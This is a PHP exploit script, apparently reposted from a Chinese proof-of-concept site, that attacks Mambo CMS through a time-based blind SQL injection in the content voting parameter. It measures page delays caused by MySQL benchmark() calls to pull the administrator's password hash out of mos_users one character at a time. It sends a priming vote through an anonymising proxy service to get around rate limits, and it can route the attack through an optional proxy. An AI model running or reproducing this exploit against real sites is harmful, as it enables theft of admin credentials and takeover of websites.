*/
if (!(function_exists('curl_init'))) {
echo "cURL extension required\n";
exit;
}
ini_set("max_execution_time","999999");
$benchcount = 150000;
$aid= 62;
$cid = 2;
$charmap = array (48,49,50,51,52,53,54,55,56,57,
97,98,99,100,101,102,
103,104,105,
106,107,108,109,110,111,112,113,
114,115,116,117,118,119,120,121,122
);
if($argv[1]){
$url = $argv[1];
if ($argv[2])
$aid = $argv[2];
if ($argv[3])
$benchcount = $argv[3];
if ($argv[4])
$proxy = $argv[4];
}
else {
echo "Usage: ".$argv[0]." <URL> [userid] [benchmarkcount] [proxy]\n\n";
echo "\tURL\t URL to mambo site (ex: http://127.0.0.1)\n";
echo "\taid\t userid to get (default: 62 (admin))\n";
echo "\tbenchmarkcount\t benchmark count (default: 150000)\n";
echo "\tproxy\t optional proxy url (ex: http://10.10.10.10:8080)\n";
exit;
}
// rate from different ip (using http://projectbypass.com)
$projectbypass = "http://projectbypass.com/nph-proxy3.cgi/010110A/";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$projectbypass.str_replace("://","/",$url)."/index.php?op \
tion=com_content&task=vote&id=1&Itemid=1&cid=$cid&user_rating=1"); curl_setopt($ch, \
CURLOPT_RETURNTRANSFER,1); $res = curl_exec($ch);
curl_close ($ch);
// standard page loading time
$start = time();
$ch = curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res = curl_exec($ch);
curl_close ($ch);
$stop = time();
$sloadtime = floatval($stop - $start);
echo "standard page loading =".$sloadtime."\n";
// benchmark page loading time
$start = time();
$ch = curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url."/index.php?option=com_content&task=vote&id=1&Itemid \
=1&cid=$cid&user_rating=1,rating_sum=(select+1+from+mos_users+where+if(2>1,benchmark($ \
benchcount,md5(1)),1))+where+content_id=$cid/*"); curl_setopt($ch, \
CURLOPT_RETURNTRANSFER,1); $res = curl_exec($ch);
curl_close ($ch);
$stop = time();
$bloadtime = floatval($stop - $start);
echo "bencmark page loading =".$bloadtime."\n";
// check if SQL query failed
if (ereg("DB function failed",$res)){
echo "[x] mysql < 4.1 detected - not exploitable\n";
exit();
}
if ($bloadtime <= $sloadtime + 2){
echo "[x] increase your benchmark count\n";
exit();
}
echo "Take your time for Teh Tarik... please wait ...\n\n";
echo "Result:\n";
echo "\tUserid = $aid\n";
echo "\tPassword Hash = ";
// starting fetch password
$benchcount = $benchcount*2;
for($i= 1;$i< 33;$i++){
foreach ($charmap as $char){
$start = time();
echo chr($char);
$ch = curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url."/index.php?option=com_content&task=vote&id=1&Item \
id=1&cid=$cid&user_rating=1,rating_sum=(select+password+from+mos_users+where+id=$aid+a \
nd+if(ascii(substring(password,$i,1))=$char,benchmark($benchcount,md5(1)),1))+where+co \
ntent_id=$cid/*"); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res=curl_exec ($ch);
curl_close ($ch);
$stop = time();
$xloadtime = floatval($stop - $start);
if (floatval($xloadtime) > $bloadtime){
$hash .= chr($char);
break 1;
}
else {
echo chr(8);
}
if ($char == 103){
echo "\n\n\tNot Vulnerable or Something wrong occur ...\n";
exit;
}
}
}
echo "\n";
?>
匿名 兑换PoC
京公网安备 11010502034610号
暂无评论